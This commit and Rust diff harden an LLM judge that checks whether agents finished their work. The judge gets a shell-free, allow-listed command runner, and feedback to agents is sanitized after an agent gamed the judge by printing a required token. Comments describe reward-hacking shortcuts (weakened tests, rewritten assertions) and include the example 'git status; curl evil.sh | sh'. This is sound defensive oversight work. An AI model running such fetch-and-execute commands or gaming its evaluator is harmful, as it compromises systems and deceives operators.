feat(evaluator): verify the work instead of believing the agents

Mission 019fbb63 was judged complete on its second pass without any work
being done. The condition required a literal token; pass 1's verdict said the
token was missing; that text was handed to the agents verbatim; an agent
printed the token. Every step behaved as designed, and the result was a phase
marked done on a copy-paste. Two separate defects.

**The judge could only read claims.** It now gets a checkout and one tool:
`run_check`, an argv array executed by `docker exec` with no shell anywhere.
That is structural — with a shell, an allow-list on the program name is
decorative, since `git status; curl evil.sh | sh` passes any prefix check;
without one, metacharacters are inert bytes in argv. Also: allow-listed
programs, read-only git subcommands only (a judge must not be able to
`git checkout` away the work it is judging), no absolute paths or `..`, a
deadline, and head-and-tail output clamping so failures survive truncation.

The verifying prompt is adversarial by design — it looks for tests weakened
or deleted, assertions rewritten to match wrong output, values hard-coded or
printed rather than produced, and success claimed with no matching git diff.
Phases with no checkout keep the evidence-only prompt, which states plainly
that verification is impossible there; a judge told it can check something it
cannot will claim it did.

**The feedback handed over the answer.** `Verdict` splits into `reason`
(operator; quotes freely) and `guidance` (agents; sanitized).
`sanitize_guidance` redacts identifier-shaped tokens from the condition unless
the agents already produced them, so prose feedback survives and magic strings
do not. `latest()` returns guidance, with a test that fails if it regresses to
`reason`. The next-pass brief now also states that output which merely looks
like it satisfies the check fails the pass.

Redaction is the backstop; running the tests is the defence.

- migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API
  and the UI, so an operator can see "verified by 3 checks" versus "from agent
  claims only" rather than having to guess which kind of verdict they have.
- `complete_direct` deleted — `judge_with_tools` covers the no-tools case.
- 23 evaluator tests, including the incident replayed as a regression.

Co-Authored-By: Claude Opus 5 <[email protected]>

crates/cm-api/src/evaluator.rs

@@ -16,12 +16,17 @@
 //! not the governor's `!contains("DENY")`, which reads a model that explains
 //! *why it would deny* as a denial and an empty string as approval.
 //!
-//! **The judge cannot run commands.** It sees only the transcript material we
+//! **The judge verifies rather than believes.** When the mission has a repo
-//! hand it. Conditions must therefore be demonstrable from turn output —
+//! checkout, the judge gets an allow-listed, shell-free command runner over it
-//! "`cargo test` passes and the output shows 0 failures" works because the
+//! (`evaluator_tools`) and is told to treat agent output as claims to check —
-//! agent runs the tests and the result lands in the transcript; "the code is
+//! run the tests, read the diff. Without a checkout it degrades to judging the
-//! well factored" does not. This constraint is surfaced in the mission wizard
+//! transcript and says so in its own prompt, because a judge told it can check
-//! and in the planner prompt.
+//! something it cannot will claim it did.
+//!
+//! **Guidance is not the reason.** `reason` is written for the operator;
+//! `guidance` is what the agents see next pass. Feeding `reason` back taught an
+//! agent to print the literal token the judge said was missing — see
+//! [`sanitize_guidance`].
 
 use serde::{Deserialize, Serialize};
 use serde_json::Value;
@@ -31,42 +36,140 @@ use uuid::Uuid;
 #[derive(Debug, Clone, Serialize, Deserialize)]
 pub struct Verdict {
     pub met: bool,
+    /// Operator-facing explanation. May quote specifics freely — it is
+    /// rendered in the UI and never shown to the agents.
     pub reason: String,
+    /// Agent-facing guidance for the next pass, naming the unmet dimension
+    /// without handing over the acceptance text. See [`sanitize_guidance`].
+    pub guidance: String,
     /// The model spec that judged, recorded for attribution.
     pub model: String,
     /// Set when the evaluator itself failed rather than judging "not met" —
     /// distinguishes "judged incomplete" from "could not judge".
     pub error: Option<String>,
+    /// Verification commands the judge ran, for the audit trail. Empty when
+    /// the phase had no checkout to verify against.
+    pub checks: Vec<String>,
 }
 
 impl Verdict {
     fn not_met(model: &str, reason: impl Into<String>, error: Option<String>) -> Self {
+        let reason = reason.into();
         Verdict {
             met: false,
-            reason: reason.into(),
+            guidance: reason.clone(),
+            reason,
             model: model.to_string(),
             error,
+            checks: Vec::new(),
         }
     }
 }
 
-const EVAL_SYSTEM: &str = "\
+/// Redact acceptance literals from agent-facing guidance.
+///
+/// On 2026-08-01 a phase whose condition required a literal token was judged
+/// complete on pass 2 because pass 1's verdict — *"the token ZZQX-… does not
+/// appear"* — was handed to the agents verbatim, and one of them simply
+/// printed it. The feedback loop had taught the agents to satisfy the checker
+/// rather than do the work, which is Goodhart's law with a build pipeline.
+///
+/// So guidance is filtered before it reaches an agent: any identifier-shaped
+/// token from the *condition* (six or more characters, containing a digit,
+/// underscore or hyphen — magic strings, ticket ids, symbol names) is replaced
+/// unless the agents had already produced it themselves. Ordinary prose is
+/// untouched, because telling agents *what dimension* is unmet is the point;
+/// telling them the exact string to emit is the failure.
+///
+/// This is a backstop, not the defence. The defence is that the judge runs
+/// commands: a test suite cannot be persuaded by a well-chosen string.
+pub fn sanitize_guidance(condition: &str, evidence: &str, guidance: &str) -> String {
+    let literal_shaped = |t: &str| {
+        t.len() >= 6
+            && t.chars()
+                .any(|c| c.is_ascii_digit() || c == '_' || c == '-')
+    };
+    fn strip(t: &str) -> &str {
+        t.trim_matches(|c: char| !c.is_alphanumeric() && c != '_' && c != '-')
+    }
+
+    let mut out = guidance.to_string();
+    for token in condition.split_whitespace().map(strip) {
+        if !literal_shaped(token) {
+            continue;
+        }
+        // If the agents already emitted it, repeating it leaks nothing.
+        if evidence.contains(token) {
+            continue;
+        }
+        if out.contains(token) {
+            out = out.replace(token, "[redacted: see the phase condition]");
+        }
+    }
+    out
+}
+
+/// Shared contract: what a verdict is and how the two fields are used.
+///
+/// `reason` and `guidance` are split because they have different readers.
+/// `reason` goes to the operator and may be as specific as it likes.
+/// `guidance` goes back to the agents, so naming the exact string that would
+/// satisfy the condition converts the next pass into a copy-paste exercise —
+/// which is precisely what happened before the split existed.
+const VERDICT_CONTRACT: &str = "\
+Respond with STRICT JSON ONLY, no prose and no code fence:
+{\"met\": true|false, \"reason\": \"one or two sentences\", \"guidance\": \"one or two sentences\"}
+
+`reason` is for the human operator. Be specific; quote what you found.
+
+`guidance` is handed to the agents as their brief for the next attempt. Name \
+the dimension that is unmet and what work remains — never the literal text, \
+token, or value that would make the condition pass. If the condition asks for \
+a specific string or identifier, say that it is absent; do not reproduce it. \
+An agent must not be able to satisfy the condition by pasting your guidance. \
+When met is true, `guidance` may be empty.";
+
+/// Prompt for a judge with no checkout to verify against (research phases).
+/// It says plainly that verification is impossible here, because a judge told
+/// it can check something it cannot will claim it did.
+const EVAL_SYSTEM_EVIDENCE_ONLY: &str = "\
 You judge whether a phase of automated work is complete.
 
 You are given the phase's COMPLETION CONDITION and the EVIDENCE its agents \
-produced — their turn output, task states, and artifacts. Decide whether the \
+produced — their turn output, task states, and artifacts.
-condition holds.
 
-You cannot run commands or read files. Judge only what the evidence shows. If \
+You have no tools on this phase: there is no repository checkout to inspect. \
-the evidence does not positively demonstrate the condition, it is not met — \
+Judge only what the evidence shows. If the evidence does not positively \
-absence of evidence is not satisfaction. Do not assume work happened because \
+demonstrate the condition, it is not met — absence of evidence is not \
-an agent said it would.
+satisfaction. An agent asserting that it did something is not evidence that it \
+did; treat an unverifiable claim as unmet.";
 
-Respond with STRICT JSON ONLY, no prose and no code fence:
+/// Prompt for a judge that can run commands. The framing is deliberately
-{\"met\": true|false, \"reason\": \"one or two sentences\"}
+/// adversarial: the previous evidence-only judge was gamed on its second pass
+/// by an agent that emitted the string the judge had asked for.
+const EVAL_SYSTEM_VERIFYING: &str = "\
+You judge whether a phase of automated work is complete. You have the \
+repository the agents worked in, and you can run commands against it.
 
-When met is false, the reason is handed to the agents as guidance for their \
+Verify. Do not take the agents' word for anything. Their turn output is a set \
-next attempt, so state specifically what is still missing.";
+of claims to be checked, not evidence. Run the project's own checks and read \
+the code yourself:
+
+- Run the tests. `cargo test`, `npm test`, `pytest` — whatever the project uses.
+- `git diff` and `git log` show what actually changed this phase.
+- `rg` and `cat` let you confirm a change exists where it is claimed to be.
+
+Watch for work that satisfies the letter of the condition and not its purpose:
+
+- tests weakened, skipped, or deleted so a suite passes;
+- assertions changed to match wrong output instead of the output being fixed;
+- a required string or value hard-coded, stubbed, or printed rather than \
+produced by working code;
+- a claim of success with no corresponding change in `git diff`.
+
+If you find any of these, the condition is NOT met — say which one you found. \
+If you cannot verify a claim, it is not met: absence of evidence is not \
+satisfaction.";
 
 /// The model spec to judge with.
 ///
@@ -121,34 +224,56 @@ fn subscription_judge() -> Option<cm_llm::AnthropicProvider> {
 /// Never returns `Err`: a failure to judge is a `Verdict` with `met: false`
 /// and `error` set, so the caller records the attempt and keeps iterating
 /// rather than silently completing the phase.
-pub async fn evaluate(runtime: &cm_runtime::Runtime, condition: &str, evidence: &str) -> Verdict {
+pub async fn evaluate(
-    let user = format!("COMPLETION CONDITION:\n{condition}\n\nEVIDENCE:\n{evidence}");
+    runtime: &cm_runtime::Runtime,
+    mission_id: Uuid,
+    condition: &str,
+    evidence: &str,
+) -> Verdict {
+    let user = format!(
+        "COMPLETION CONDITION:\n{condition}\n\nEVIDENCE (agent claims — verify them):\n{evidence}"
+    );
+    let sandbox = crate::evaluator_tools::Sandbox::for_mission(mission_id);
 
     // Preferred: a bare Messages API call on the subscription token. See
     // `subscription_judge` for why this beats routing through an agent.
     if let Some(provider) = subscription_judge() {
         let model = subscription_model();
-        return match complete_direct(&provider, EVAL_SYSTEM, &user, &model).await {
+        let system = match &sandbox {
+            Some(_) => format!("{EVAL_SYSTEM_VERIFYING}\n\n{VERDICT_CONTRACT}"),
+            None => format!("{EVAL_SYSTEM_EVIDENCE_ONLY}\n\n{VERDICT_CONTRACT}"),
+        };
+        let outcome = judge_with_tools(&provider, &system, &user, &model, sandbox.as_ref()).await;
+        return match outcome {
             Err(e) => Verdict::not_met(
                 &model,
                 "could not evaluate the completion condition this pass",
                 Some(e),
             ),
-            Ok(text) => parse_verdict(&model, &text),
+            Ok((text, checks)) => {
+                let mut v = parse_verdict(&model, &text);
+                v.guidance = sanitize_guidance(condition, evidence, &v.guidance);
+                v.checks = checks;
+                v
+            }
         };
     }
 
+    // Fallback paths have no tool loop, so they judge claims only and must say so.
+    let system = format!("{EVAL_SYSTEM_EVIDENCE_ONLY}\n\n{VERDICT_CONTRACT}");
+    let (eval_system, user) = (system.as_str(), user);
+
     let model = evaluator_model();
     // Same routing as the door governor (mcp_door.rs): `runtime:<alias>` goes
     // through the container agent so a subscription-only model can judge.
     let raw: Result<String, String> = if let Some(alias) = model.strip_prefix("runtime:") {
         match crate::topology_exec::ZeroClawDriveExecutor::from_env() {
-            Ok(exec) => exec.judge_raw(alias.trim(), EVAL_SYSTEM, &user).await,
+            Ok(exec) => exec.judge_raw(alias.trim(), eval_system, &user).await,
             Err(e) => Err(format!("runtime executor unavailable: {e}")),
         }
     } else {
         runtime
-            .complete(EVAL_SYSTEM, &user, &model, 512, false)
+            .complete(eval_system, &user, &model, 512, false)
             .await
     };
 
@@ -158,44 +283,157 @@ pub async fn evaluate(runtime: &cm_runtime::Runtime, condition: &str, evidence:
             "could not evaluate the completion condition this pass",
             Some(e),
         ),
-        Ok(text) => parse_verdict(&model, &text),
+        Ok(text) => {
+            let mut v = parse_verdict(&model, &text);
+            v.guidance = sanitize_guidance(condition, evidence, &v.guidance);
+            v
+        }
     }
 }
 
-/// Drive one non-streaming-shaped completion against `provider` and collect
+/// Ceiling on verification commands per verdict. A judge that has run twelve
-/// the assistant text. Mirrors `Runtime::complete` but against a provider the
+/// commands and still cannot tell is not going to be rescued by a thirteenth,
-/// evaluator owns, so the judge needs no entry in the runtime registry.
+/// and each one costs a model round trip against a shared rate-limit window.
-async fn complete_direct(
+const MAX_TOOL_CALLS: usize = 12;
+
+/// The one tool a judge gets. Named for what it is so the model does not
+/// mistake it for a general shell: it is a verification instrument.
+fn verify_tool() -> cm_llm::ToolDescriptor {
+    cm_llm::ToolDescriptor {
+        name: "run_check".into(),
+        description: "Run one read-only verification command in the mission's repository \
+             and return its exit status and output. Pass the command as an argv array \
+             (no shell, so pipes, redirects and `&&` are not interpreted). Allowed: \
+             inspection (ls, cat, head, tail, wc, find, rg, grep, diff), read-only git \
+             (status, diff, log, show, ls-files, blame, rev-parse), and project test \
+             runners (cargo, npm, pnpm, yarn, pytest, python, make, just, go, …). \
+             Paths must be relative to the repository root."
+            .into(),
+        input_schema: serde_json::json!({
+            "type": "object",
+            "properties": {
+                "argv": {
+                    "type": "array",
+                    "items": {"type": "string"},
+                    "description": "Command and arguments, e.g. [\"cargo\",\"test\"] or [\"git\",\"diff\",\"--stat\"]."
+                }
+            },
+            "required": ["argv"]
+        }),
+    }
+}
+
+/// Run the judge as a bounded tool loop, returning its final text and the
+/// commands it actually ran.
+///
+/// With no sandbox this degenerates to a single call — same shape, no tools
+/// offered — so there is one code path for both kinds of phase.
+async fn judge_with_tools(
     provider: &cm_llm::AnthropicProvider,
     system: &str,
     user: &str,
     model: &str,
-) -> Result<String, String> {
+    sandbox: Option<&crate::evaluator_tools::Sandbox>,
+) -> Result<(String, Vec<String>), String> {
     use cm_llm::{ChatMessage, ChatRequest, ChatRole, ContentPart, LlmEvent, LlmProvider};
     use futures::StreamExt as _;
 
+    let tools = match sandbox {
+        Some(_) => vec![verify_tool()],
+        None => vec![],
+    };
+    let mut messages = vec![ChatMessage {
+        role: ChatRole::User,
+        parts: vec![ContentPart::text(user)],
+    }];
+    let mut checks: Vec<String> = Vec::new();
+
+    // +1 so the model always gets a turn to answer after its last tool call.
+    for _ in 0..MAX_TOOL_CALLS + 1 {
         let request = ChatRequest {
             system: system.to_string(),
             model: model.to_string(),
-        messages: vec![ChatMessage {
+            messages: messages.clone(),
-            role: ChatRole::User,
+            tools: tools.clone(),
-            parts: vec![ContentPart::text(user)],
+            max_tokens: 1024,
-        }],
-        tools: vec![],
-        // A verdict is `{"met":bool,"reason":"…"}`. 512 is generous.
-        max_tokens: 512,
             web_search: false,
         };
-    let mut text = String::new();
         let mut stream = provider.stream(request).await.map_err(|e| e.to_string())?;
+        let mut text = String::new();
+        let mut calls: Vec<(String, String, Value)> = Vec::new();
         while let Some(event) = stream.next().await {
             match event {
                 Ok(LlmEvent::TextDelta(t)) => text.push_str(&t),
+                Ok(LlmEvent::ToolUse { id, name, input }) => calls.push((id, name, input)),
                 Ok(_) => {}
                 Err(e) => return Err(e.to_string()),
             }
         }
-    Ok(text)
+
+        // No tool calls means the judge has answered.
+        if calls.is_empty() {
+            return Ok((text, checks));
+        }
+        let Some(sandbox) = sandbox else {
+            // Defensive: we offered no tools, so this should be unreachable.
+            return Ok((text, checks));
+        };
+        if checks.len() >= MAX_TOOL_CALLS {
+            // Out of budget. Rather than truncate mid-thought, tell the judge
+            // so it rules on what it has — a fail-closed verdict from a judge
+            // that knows it ran out beats a silent cutoff.
+            messages.push(ChatMessage {
+                role: ChatRole::User,
+                parts: vec![ContentPart::text(
+                    "Verification budget exhausted. Give your verdict from what you \
+                     have already checked; if you could not verify the condition, it \
+                     is not met.",
+                )],
+            });
+            continue;
+        }
+
+        // Echo the assistant's tool calls back, then answer each in order —
+        // the Messages API requires the pairing to be exact.
+        messages.push(ChatMessage {
+            role: ChatRole::Assistant,
+            parts: calls
+                .iter()
+                .map(|(id, name, input)| ContentPart::ToolUse {
+                    id: id.clone(),
+                    name: name.clone(),
+                    input: input.clone(),
+                })
+                .collect(),
+        });
+        let mut results = Vec::new();
+        for (id, _name, input) in &calls {
+            let argv: Vec<String> = input
+                .get("argv")
+                .and_then(|a| a.as_array())
+                .map(|a| {
+                    a.iter()
+                        .filter_map(|v| v.as_str().map(str::to_string))
+                        .collect()
+                })
+                .unwrap_or_default();
+            let output = if argv.is_empty() {
+                "REFUSED: no command given (expected an `argv` array)".to_string()
+            } else {
+                checks.push(argv.join(" "));
+                sandbox.run(&argv).await
+            };
+            results.push(ContentPart::ToolResult {
+                tool_use_id: id.clone(),
+                content: Value::String(output),
+            });
+        }
+        messages.push(ChatMessage {
+            role: ChatRole::User,
+            parts: results,
+        });
+    }
+    Err("evaluator exceeded its verification budget without reaching a verdict".into())
 }
 
 /// Parse the model's reply into a verdict, failing closed.
@@ -229,11 +467,23 @@ fn parse_verdict(model: &str, text: &str) -> Verdict {
             "evaluator gave no reason"
         })
         .to_string();
+    // `guidance` is optional in the reply: a judge that omits it gets the
+    // operator-facing reason as a fallback, which is then sanitized by the
+    // caller like any other guidance.
+    let guidance = v
+        .get("guidance")
+        .and_then(|g| g.as_str())
+        .map(str::trim)
+        .filter(|g| !g.is_empty())
+        .unwrap_or(&reason)
+        .to_string();
     Verdict {
         met,
         reason,
+        guidance,
         model: model.to_string(),
         error: None,
+        checks: Vec::new(),
     }
 }
 
@@ -256,11 +506,12 @@ pub async fn record(
 ) -> Result<(), sqlx::Error> {
     sqlx::query(
         "INSERT INTO mission_phase_evaluations
-             (id, mission_id, phase_id, iteration, met, reason, model, error)
+             (id, mission_id, phase_id, iteration, met, reason, guidance, model, error, checks)
-         VALUES ($1, $2, $3, $4, $5, $6, $7, $8)
+         VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)
          ON CONFLICT (phase_id, iteration) DO UPDATE
             SET met = EXCLUDED.met, reason = EXCLUDED.reason,
-                model = EXCLUDED.model, error = EXCLUDED.error",
+                guidance = EXCLUDED.guidance, model = EXCLUDED.model,
+                error = EXCLUDED.error, checks = EXCLUDED.checks",
     )
     .bind(Uuid::now_v7())
     .bind(mission_id)
@@ -268,8 +519,10 @@ pub async fn record(
     .bind(iteration)
     .bind(v.met)
     .bind(&v.reason)
+    .bind(&v.guidance)
     .bind(&v.model)
     .bind(v.error.as_deref())
+    .bind(serde_json::json!(v.checks))
     .execute(pool)
     .await
     .map(|_| ())
@@ -277,13 +530,18 @@ pub async fn record(
 
 /// The most recent verdict for a phase, used to carry guidance into the next
 /// pass and to render the operator-facing strip.
+/// The most recent verdict for a phase, as **guidance** — the agent-facing
+/// half. This feeds the next pass's brief, so it must never be `reason`:
+/// that field is written for the operator and may quote the acceptance text
+/// the agents are supposed to earn rather than copy.
 pub async fn latest(
     pool: &sqlx::PgPool,
     phase_id: Uuid,
 ) -> Result<Option<(i32, bool, String)>, sqlx::Error> {
     use sqlx::Row;
     let row = sqlx::query(
-        "SELECT iteration, met, reason FROM mission_phase_evaluations
+        "SELECT iteration, met, coalesce(guidance, reason) AS guidance
+           FROM mission_phase_evaluations
           WHERE phase_id = $1 ORDER BY iteration DESC LIMIT 1",
     )
     .bind(phase_id)
@@ -293,7 +551,7 @@ pub async fn latest(
         (
             r.get::<i32, _>("iteration"),
             r.get::<bool, _>("met"),
-            r.get::<String, _>("reason"),
+            r.get::<String, _>("guidance"),
         )
     }))
 }
@@ -361,6 +619,93 @@ mod tests {
             .is_empty());
     }
 
+    // ── Anti-shortcut: what the agents are allowed to be told ───────────
+
+    /// The incident this exists for. Mission 019fbb63, 2026-08-01: the
+    /// condition named a literal token, pass 1's verdict said the token was
+    /// missing, that text went to the agents verbatim, and pass 2 "passed"
+    /// because an agent printed it.
+    #[test]
+    fn guidance_does_not_hand_back_the_acceptance_literal() {
+        let condition = "The output contains the exact literal token \
+                         ZZQX-NEVER-EMITTED-9931 spelled out character for character.";
+        let evidence =
+            "Agent turn 1: I summarized the tradeoffs between fail-open and fail-closed.";
+        let guidance = "The token ZZQX-NEVER-EMITTED-9931 does not appear anywhere in the output.";
+
+        let safe = sanitize_guidance(condition, evidence, guidance);
+        assert!(
+            !safe.contains("ZZQX-NEVER-EMITTED-9931"),
+            "the acceptance literal must not reach the agents: {safe}"
+        );
+        assert!(
+            safe.contains("does not appear"),
+            "the useful part of the guidance survives: {safe}"
+        );
+    }
+
+    /// Redaction must not gut ordinary feedback — telling agents *which*
+    /// dimension is unmet is the entire point of iterating.
+    #[test]
+    fn ordinary_prose_guidance_is_untouched() {
+        let condition = "The research output names at least two concrete tradeoffs.";
+        let guidance = "Only one tradeoff is named; add a second with its consequence.";
+        assert_eq!(sanitize_guidance(condition, "", guidance), guidance);
+    }
+
+    /// Once the agents have produced a token themselves, repeating it back
+    /// leaks nothing — and refusing to would make failure messages useless on
+    /// exactly the code the agents are working in.
+    #[test]
+    fn a_literal_the_agents_already_produced_is_not_redacted() {
+        let condition = "Function parse_int_v2 must return Err on overflow.";
+        let evidence = "Agent turn 2: I edited parse_int_v2 in src/lib.rs.";
+        let guidance = "parse_int_v2 still panics rather than returning Err.";
+        assert_eq!(sanitize_guidance(condition, evidence, guidance), guidance);
+    }
+
+    #[test]
+    fn redaction_covers_several_literals_in_one_condition() {
+        let condition = "Emit MAGIC-4242 and set header X_TRACE-77 on every response.";
+        let guidance = "Neither MAGIC-4242 nor X_TRACE-77 is present.";
+        let safe = sanitize_guidance(condition, "", guidance);
+        assert!(!safe.contains("MAGIC-4242"));
+        assert!(!safe.contains("X_TRACE-77"));
+    }
+
+    /// A judge that omits `guidance` must still produce something for the next
+    /// pass, and that fallback has to be sanitized like any other guidance —
+    /// otherwise omitting the field becomes the way to leak the literal.
+    #[test]
+    fn a_missing_guidance_field_falls_back_to_the_reason() {
+        let v = parse_verdict(
+            "m",
+            r#"{"met": false, "reason": "no second tradeoff named"}"#,
+        );
+        assert_eq!(v.guidance, "no second tradeoff named");
+    }
+
+    #[test]
+    fn guidance_is_parsed_when_present() {
+        let v = parse_verdict(
+            "m",
+            r#"{"met": false, "reason": "token ABC-123 absent", "guidance": "the required marker is absent"}"#,
+        );
+        assert_eq!(v.reason, "token ABC-123 absent", "operator sees specifics");
+        assert_eq!(v.guidance, "the required marker is absent");
+    }
+
+    /// Fail-closed construction must not accidentally become a leak: the
+    /// not_met fallback copies reason into guidance, so the caller sanitizes.
+    #[test]
+    fn an_evaluator_failure_is_still_not_met_and_carries_guidance() {
+        let v = Verdict::not_met("m", "could not evaluate", Some("timeout".into()));
+        assert!(!v.met);
+        assert!(!v.guidance.is_empty());
+        assert!(v.checks.is_empty());
+        assert!(v.error.is_some());
+    }
+
     #[test]
     fn head_truncates_on_a_char_boundary() {
         let s = "é".repeat(300);

crates/cm-api/src/evaluator_tools.rs

@@ -0,0 +1,384 @@
+//! The evaluator's verification sandbox.
+//!
+//! A judge that reads only the transcript judges what agents *claim*. On
+//! 2026-08-01 a phase with an unsatisfiable condition was marked complete on
+//! its second pass because the agent, handed the previous verdict as guidance,
+//! simply printed the literal token the judge had said was missing. Nothing
+//! about that reply was false — the token really was in the output — and the
+//! judge had no way to ask whether any work had been done.
+//!
+//! So the judge gets to look for itself: an allow-listed command runner over
+//! the mission's own checkout. `cargo test` cannot be talked into passing.
+//!
+//! ## Why this is not a shell
+//!
+//! Commands are argv vectors executed directly by `docker exec` — there is no
+//! `sh -c` anywhere in this module. That is a structural choice, not a
+//! stylistic one: with a shell, an allow-list on the program name is
+//! decorative, because `git status; curl evil.sh | sh` passes any prefix check
+//! ever written. Without one, metacharacters are inert bytes in `argv[n]`.
+//!
+//! Three further limits, none of which are load-bearing on their own:
+//!
+//! - the program (and, for `git`, its subcommand) must be on the allow-list;
+//! - no argument may be an absolute path or contain `..`, so reads stay inside
+//!   the checkout even though the runner has no shell to chain with;
+//! - output is capped and the call is deadlined, because a judge that hangs on
+//!   a runaway test suite stalls the mission it is judging.
+
+use std::path::{Path, PathBuf};
+use std::time::Duration;
+
+use uuid::Uuid;
+
+/// Wall-clock ceiling for one verification command. Generous enough for a test
+/// suite, short enough that a hung command fails the pass rather than the
+/// mission.
+const COMMAND_TIMEOUT: Duration = Duration::from_secs(180);
+
+/// Cap on what one command may return to the model. Test suites are chatty and
+/// the judge pays for every byte; the tail is where failures live, so when
+/// output overflows we keep both ends and drop the middle.
+const MAX_OUTPUT_BYTES: usize = 12_000;
+
+/// Programs the judge may run. Every one either reports state or runs a
+/// project's own checks — none of them edit the tree.
+///
+/// `git` is special-cased below: the program alone is not enough, since
+/// `git checkout`/`git reset` would let a judge mutate the work it is judging.
+const ALLOWED_PROGRAMS: &[&str] = &[
+    // Inspect the tree.
+    "ls", "cat", "head", "tail", "wc", "find", "file", "stat", "du", "rg", "grep", "diff",
+    // Run the project's own checks.
+    "cargo", "npm", "pnpm", "yarn", "node", "python", "python3", "pytest", "make", "just", "go",
+    "pnpx", "npx", "bun", "dotnet", "mvn", "gradle", "ruff", "mypy", "eslint", "tsc", "jest",
+    "vitest", "phpunit", "rspec", "bundle", "poetry", "uv", "tox",
+    // Version control, narrowed by subcommand.
+    "git",
+];
+
+/// `git` subcommands that only read. `checkout`, `reset`, `clean`, `commit`,
+/// `push` and friends are absent deliberately — the judge must not be able to
+/// alter, discard, or publish the work it is evaluating.
+const ALLOWED_GIT_SUBCOMMANDS: &[&str] = &[
+    "status",
+    "diff",
+    "log",
+    "show",
+    "ls-files",
+    "blame",
+    "shortlog",
+    "describe",
+    "rev-parse",
+    "rev-list",
+    "cat-file",
+    "grep",
+    "config",
+];
+
+/// Why a command was refused. Returned to the model as a tool result so it can
+/// adapt, and logged so an operator can see a judge probing the boundary.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum Refusal {
+    Empty,
+    Program(String),
+    GitSubcommand(String),
+    AbsolutePath(String),
+    ParentEscape(String),
+}
+
+impl std::fmt::Display for Refusal {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        match self {
+            Refusal::Empty => write!(f, "no command given"),
+            Refusal::Program(p) => write!(
+                f,
+                "`{p}` is not an allowed verification command. Allowed: inspection \
+                 (ls, cat, rg, grep, find, wc, diff), read-only git, and project \
+                 test runners (cargo, npm, pytest, make, …)."
+            ),
+            Refusal::GitSubcommand(s) => write!(
+                f,
+                "`git {s}` can modify the repository. Only read-only git is available \
+                 (status, diff, log, show, ls-files, blame, rev-parse, …)."
+            ),
+            Refusal::AbsolutePath(a) => write!(
+                f,
+                "`{a}` is an absolute path. Verification is scoped to the mission \
+                 checkout; use paths relative to the repository root."
+            ),
+            Refusal::ParentEscape(a) => write!(
+                f,
+                "`{a}` climbs above the repository root. Verification is scoped to \
+                 the mission checkout."
+            ),
+        }
+    }
+}
+
+/// Validate one argv against the allow-list. Pure, so the policy is testable
+/// without Docker, a checkout, or a model.
+pub fn check_argv(argv: &[String]) -> Result<(), Refusal> {
+    let Some(program) = argv.first() else {
+        return Err(Refusal::Empty);
+    };
+    // Reject a qualified path to a binary (`/usr/bin/env`, `./script.sh`)
+    // rather than trying to resolve it — the allow-list names programs.
+    if program.contains('/') || !ALLOWED_PROGRAMS.contains(&program.as_str()) {
+        return Err(Refusal::Program(program.clone()));
+    }
+    if program == "git" {
+        // The first non-flag argument is the subcommand.
+        let sub = argv[1..].iter().find(|a| !a.starts_with('-'));
+        match sub {
+            None => return Err(Refusal::GitSubcommand("<none>".into())),
+            Some(s) if !ALLOWED_GIT_SUBCOMMANDS.contains(&s.as_str()) => {
+                return Err(Refusal::GitSubcommand(s.clone()));
+            }
+            Some(_) => {}
+        }
+    }
+    for arg in &argv[1..] {
+        // A leading `-` is a flag, not a path; `--foo=/abs` is checked too.
+        let candidate = arg.split_once('=').map(|(_, v)| v).unwrap_or(arg);
+        if candidate.starts_with('/') {
+            return Err(Refusal::AbsolutePath(arg.clone()));
+        }
+        if candidate.split(['/', '\\']).any(|seg| seg == "..") {
+            return Err(Refusal::ParentEscape(arg.clone()));
+        }
+    }
+    Ok(())
+}
+
+/// Keep a command's output within [`MAX_OUTPUT_BYTES`], preserving the head
+/// and the tail. A truncated middle is stated rather than silently elided, so
+/// the judge knows it is looking at a partial view.
+pub fn clamp_output(s: &str) -> String {
+    if s.len() <= MAX_OUTPUT_BYTES {
+        return s.to_string();
+    }
+    let keep = MAX_OUTPUT_BYTES / 2;
+    // Slice on char boundaries so multi-byte output can't panic.
+    let head_end = (0..=keep)
+        .rev()
+        .find(|i| s.is_char_boundary(*i))
+        .unwrap_or(0);
+    let tail_start = (s.len().saturating_sub(keep)..s.len())
+        .find(|i| s.is_char_boundary(*i))
+        .unwrap_or(s.len());
+    let dropped = tail_start.saturating_sub(head_end);
+    format!(
+        "{}\n\n… [{dropped} bytes of output omitted] …\n\n{}",
+        &s[..head_end],
+        &s[tail_start..]
+    )
+}
+
+/// A checkout the judge may run verification commands against.
+#[derive(Debug, Clone)]
+pub struct Sandbox {
+    container: String,
+    workdir: PathBuf,
+}
+
+impl Sandbox {
+    /// Build a sandbox for `mission_id`, or `None` when the mission has no
+    /// checkout on disk (a research-only phase, typically).
+    ///
+    /// Returning `None` rather than an empty sandbox matters: the evaluator
+    /// prompt changes shape depending on whether verification is possible, and
+    /// a judge must never be told it can check something it cannot.
+    pub fn for_mission(mission_id: Uuid) -> Option<Sandbox> {
+        let workdir = crate::mission_workspace::checkout_path(mission_id);
+        if !workdir.is_dir() {
+            return None;
+        }
+        let container = std::env::var("CLAWMATES_RUNTIME_CONTAINER")
+            .unwrap_or_else(|_| "clawmates-runtime".to_string());
+        Some(Sandbox { container, workdir })
+    }
+
+    /// Construct against an explicit path. Test seam.
+    pub fn at(container: impl Into<String>, workdir: impl AsRef<Path>) -> Sandbox {
+        Sandbox {
+            container: container.into(),
+            workdir: workdir.as_ref().to_path_buf(),
+        }
+    }
+
+    pub fn workdir(&self) -> &Path {
+        &self.workdir
+    }
+
+    /// Run one verification command. Refusals and non-zero exits both come
+    /// back as `Ok` text: they are *evidence*, not transport failures, and the
+    /// judge should see "3 tests failed" or "that command is not allowed" and
+    /// reason about it rather than have the pass collapse.
+    pub async fn run(&self, argv: &[String]) -> String {
+        if let Err(refusal) = check_argv(argv) {
+            eprintln!(
+                "evaluator_tools: refused {:?} in {} — {refusal}",
+                argv,
+                self.workdir.display()
+            );
+            return format!("REFUSED: {refusal}");
+        }
+        let mut args: Vec<String> = vec![
+            "exec".into(),
+            "-w".into(),
+            self.workdir.display().to_string(),
+            self.container.clone(),
+        ];
+        args.extend(argv.iter().cloned());
+
+        let spawned = tokio::process::Command::new("docker").args(&args).output();
+        let out = match tokio::time::timeout(COMMAND_TIMEOUT, spawned).await {
+            Err(_) => {
+                return format!(
+                    "TIMED OUT after {}s: {}",
+                    COMMAND_TIMEOUT.as_secs(),
